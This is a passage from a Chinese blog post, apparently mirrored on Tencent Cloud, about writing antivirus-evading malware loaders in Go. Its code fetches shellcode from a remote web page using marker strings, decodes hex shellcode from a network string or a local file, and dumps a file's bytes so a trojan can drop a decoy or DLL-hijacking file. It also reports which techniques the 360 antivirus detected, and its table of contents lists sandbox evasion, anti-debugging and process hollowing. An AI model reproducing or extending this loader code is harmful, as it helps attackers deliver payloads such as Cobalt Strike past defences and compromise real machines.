req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36")
req.Header.Add("Cookie","SUB=_2 SUBP=00")
resp,_:=client.Do(req)
body,_:=ioutil.ReadAll(resp.Body)  //string形式获取了页面内容,以上代码为主体部分

//通过一系列正则匹配,字符串截取等方法从页面中得到shellcode(页面中我的shellcode是这样的rngrngfc,48,....,aalgdlgd)
re:=regexp.MustCompile(`rngrng.*lgdlgd`)
match:=re.FindString(string(body))
match=match[6:len(match)-6]
return match

但是拖下来的shellcode是string格式,我们需要把他转为[]byte

代码语言:javascript
复制
func aa(encodes string) []byte{
	var xor_shellcode []byte
	spi:=","
	enc:=strings.Split(encodes,spi)


	for i,_ :=range enc{
		tmps,_:=hex.DecodeString(enc[i])
		if(len(tmps)>0) {
			xor_shellcode = append(xor_shellcode, tmps[0])
		}
	}
	return xor_shellcode
}

远程+XOR+沙箱 反而被杀的更多…看来这个HTTP函数被抓的很紧,还被360杀出来了

image-20210818233352655
image-20210818233352655

读取文件中的SHELLCODE

代码语言:javascript
复制
var sc []byte
bytes,_:=ioutil.ReadFile("C:\\Users\\xx\\Desktop\\sc.txt")
tmp:=strings.Split(string(bytes),",")
for i,_ :=range tmp{
	tmps,_:=hex.DecodeString(tmp[i])
	if(len(tmps)>0) {
		sc = append(sc, tmps[0])
	}
}
image-20210819212634402
image-20210819212634402

可以

文件释放

在我们木马运行时可以释放一个正常文件并运行,达到DLL劫持或者迷惑视听的作用。

代码语言:javascript
复制
获取文件内容
	file,_:=os.Open("E:\\tools\\shell\\cobaltstrike4.3\\cobaltstrike.exe")
	fi,_:=file.Stat()
	size:=fi.Size()
	data := make([]byte, size)
	file.Read(data)
	for _,i:=range data{
		fmt.Print(strconv.Itoa(int(i))+",")
	}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-09-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • EXE
    • 加壳
      • 添加数字签名
        • 间接运行exe
        • C++
          • shellcode处理
            • 反调试
              • 沙箱绕过(Sandbox Evasion)
                • 进程镂空
                  • 动态调用API
                  • Powershell
                    • 远程执行与本地执行
                      • 命令拆分
                      • GO
                        • FUNNY
                          • 生成EXE
                            • 申请内存加载shellcode
                              • 简单XOR
                                • 沙盒&虚拟机检测
                                  • 虚拟机:敏感文件检测
                                • 远程读shellcode
                                  • 读取文件中的SHELLCODE
                                    • 文件释放
                                    领券
                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档